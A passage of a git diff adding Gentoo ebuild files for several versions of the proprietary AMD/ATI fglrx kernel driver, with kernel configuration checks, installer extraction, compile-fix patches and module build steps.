+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This represent the AMD Radeon HD 5400+ series at this moment."
+	elog
+	elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ ${A} =~ .*\.tar\.gz ]]; then
+		unpack ${A}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${A} =~ .*\.zip ]]; then
+			unpack ${A}
+			[[ -z "$RUN" ]] && RUN="${S}/${A/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${A}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	#epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+	# first hunk applied upstream second (x32 related) was not
+	epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+	# compile fix for linux-3.7
+	# https://bugs.gentoo.org/show_bug.cgi?id=438516
+	epatch "${FILESDIR}/ati-drivers-vm-reserverd.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.2.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.2.ebuild
new file mode 100644
index 00000000..4a971613
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.2.ebuild
@@ -0,0 +1,239 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	# Fix compilation with 3.2.8 and 3.3 kernels
+	epatch "${FILESDIR}/ati-drivers-3.2.8+.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.3.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.3.ebuild
new file mode 100644
index 00000000..4a971613
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.3.ebuild
@@ -0,0 +1,239 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	# Fix compilation with 3.2.8 and 3.3 kernels
+	epatch "${FILESDIR}/ati-drivers-3.2.8+.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
+	# simply use the linux/autoconf.h settings directly, bypassing the
+	# detection script.
+	sed -i -e 's/__SMP__/CONFIG_SMP/' *.c *h || die "SMP sed failed"
+	sed -i -e 's/ifdef MODVERSIONS/ifdef CONFIG_MODVERSIONS/' *.c *.h \
+		|| die "MODVERSIONS sed failed"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+}
+
+src_compile() {
+	linux-mod_src_compile
+}
+
+src_install() {
+	linux-mod_src_install
+}
+
+pkg_postinst() {
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	linux-mod_pkg_postinst
+}
+
+pkg_preinst() {
+	linux-mod_pkg_preinst
+}
+
+pkg_postrm() {
+	linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/ati-drivers/ati-drivers-12.4.ebuild b/x11-drivers/ati-drivers/ati-drivers-12.4.ebuild
new file mode 100644
index 00000000..f72a2c59
--- /dev/null
+++ b/x11-drivers/ati-drivers/ati-drivers-12.4.ebuild
@@ -0,0 +1,242 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib linux-info linux-mod toolchain-funcs versionator
+
+DESCRIPTION="AMD kernel drivers for radeon r600 (HD Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE="debug multilib pax_kernel"
+
+LICENSE="AMD GPL-2 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="multilib? ( ~x11-drivers/ati-userspace-${PV}[multilib] )
+	~x11-drivers/ati-userspace-${PV}
+	sys-power/acpid"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+_check_kernel_config() {
+	local failed=0
+	local error=""
+	if ! kernel_is ge 2 6; then
+		eerror "You need a 2.6 linux kernel to compile against!"
+		die "No 2.6 Kernel found"
+	fi
+
+	if ! linux_chkconfig_present MTRR; then
+		ewarn "You don't have MTRR support enabled in the kernel."
+		ewarn "Direct rendering will not work."
+	fi
+
+	if linux_chkconfig_builtin DRM; then
+		ewarn "You have DRM support built in to the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present AGP && \
+		! linux_chkconfig_present PCIEPORTBUS; then
+		ewarn "You don't have AGP and/or PCIe support enabled in the kernel"
+		ewarn "Direct rendering will not work."
+	fi
+
+	if ! linux_chkconfig_present ACPI; then
+		eerror "${P} requires the ACPI support in the kernel"
+		eerror "Please enable it:"
+		eerror "    CONFIG_ACPI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Power management and ACPI options --->"
+		eerror "        [*] Power Management support"
+		eerror "in the 'menuconfig'"
+		error+=" CONFIG_ACPI disabled;"
+		failed=1
+	fi
+
+	if ! linux_chkconfig_present PCI_MSI; then
+		eerror "${P} requires MSI in the kernel."
+		eerror "Please enable it:"
+		eerror "    CONFIG_PCI_MSI=y"
+		eerror "in /usr/src/linux/.config or"
+		eerror "    Bus options (PCI etc.)  --->"
+		eerror "        [*] Message Signaled Interrupts (MSI and MSI-X)"
+		eerror "in the kernel config."
+		error+=" CONFIG_PCI_MSI disabled;"
+		failed=1
+	fi
+
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol lock_acquire as GPL-only."
+		eerror "This prevents ${P} from compiling with an error like this:"
+		eerror "FATAL: modpost: GPL-incompatible module fglrx.ko uses GPL-only symbol 'lock_acquire'"
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		error+=" LOCKDEP enabled;"
+		failed=1
+	fi
+
+	use amd64 && if ! linux_chkconfig_present COMPAT; then
+		eerror "${P} requires COMPAT."
+		eerror "Please enable the 32 bit emulation:"
+		eerror "Executable file formats / Emulations  --->"
+		eerror "    [*] IA32 Emulation"
+		eerror "in the kernel config."
+		eerror "if this doesn't enable CONFIG_COMPAT add"
+		eerror "    CONFIG_COMPAT=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" COMPAT disabled;"
+		failed=1
+	fi
+
+	kernel_is ge 2 6 37 && kernel_is le 2 6 38 && if ! linux_chkconfig_present BKL ; then
+		eerror "${P} requires BKL."
+		eerror "Please enable the Big Kernel Lock:"
+		eerror "Kernel hacking  --->"
+		eerror "    [*] Big Kernel Lock"
+		eerror "in the kernel config."
+		eerror "or add"
+		eerror "    CONFIG_BKL=y"
+		eerror "in /usr/src/linux/.config"
+		error+=" BKL disabled;"
+		failed=1
+	fi
+
+	[[ ${failed} -ne 0 ]] && die "${error}"
+}
+
+pkg_pretend() {
+	# workaround until bug 365543 is solved
+	linux-info_pkg_setup
+	require_configured_kernel
+	_check_kernel_config
+}
+
+pkg_setup() {
+	MODULE_NAMES="fglrx(video:${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod/2.6.x)"
+	BUILD_TARGETS="kmod_build"
+	linux-mod_pkg_setup
+	BUILD_PARAMS="GCC_VER_MAJ=$(gcc-major-version) KVER=${KV_FULL} KDIR=${KV_DIR}"
+	BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=\"-DMODULE -DATI -DFGL\""
+	if grep -q arch_compat_alloc_user_space ${KV_DIR}/arch/x86/include/asm/compat.h ; then
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=arch_compat_alloc_user_space"
+	else
+		BUILD_PARAMS="${BUILD_PARAMS} CFLAGS_MODULE+=-DCOMPAT_ALLOC_USER_SPACE=compat_alloc_user_space"
+	fi
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	# Define module dir.
+	MODULE_DIR="${S}/${FOLDER_PREFIX}/lib/modules/fglrx/build_mod"
+
+	elog
+	elog "Please note that this driver supports only graphic cards based on"
+	elog "r600 chipset and newer."
+	elog "This represent the AMD Radeon HD series at this moment."
+	elog
+	elog "If your card is older then usage of ${CATEGORY}/xf86-video-ati"
+	elog "as replacement is highly recommended. Rather than staying with"
+	elog "old versions of this driver."
+	elog "For migration informations please reffer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"  2&>1 /dev/null
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# version patches
+	# epatch "${FILESDIR}"/kernel/${PV}-*.patch
+	if use debug; then
+		sed -i '/^#define DRM_DEBUG_CODE/s/0/1/' \
+			"${MODULE_DIR}/firegl_public.c" \
+			|| die "Failed to enable debug output."
+	fi
+
+	# fix needed for at least hardened-sources, see bug #392753
+	use pax_kernel && epatch "${FILESDIR}"/ati-drivers-12.2-redefine-WARN.patch
+
+	# Fix compilation with 3.2.8 and 3.3 kernels
+	epatch "${FILESDIR}/ati-drivers-3.2.8+.patch"
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	kernel_is ge 3 4 0 && epatch "${FILESDIR}/ati-drivers-old_rsp.patch"
+
+	cd "${MODULE_DIR}"
+	# bugged fglrx build system, this file should be copied by hand
+	cp "${ARCH_DIR}"/lib/modules/fglrx/build_mod/libfglrx_ip.a 2.6.x
+
+	convert_to_m 2.6.x/Makefile || die "convert_to_m failed"
+
+	# When built with ati's make.sh it defines a bunch of macros if
+	# certain .config values are set, falling back to less reliable
+	# detection methods if linux/autoconf.h is not available. We
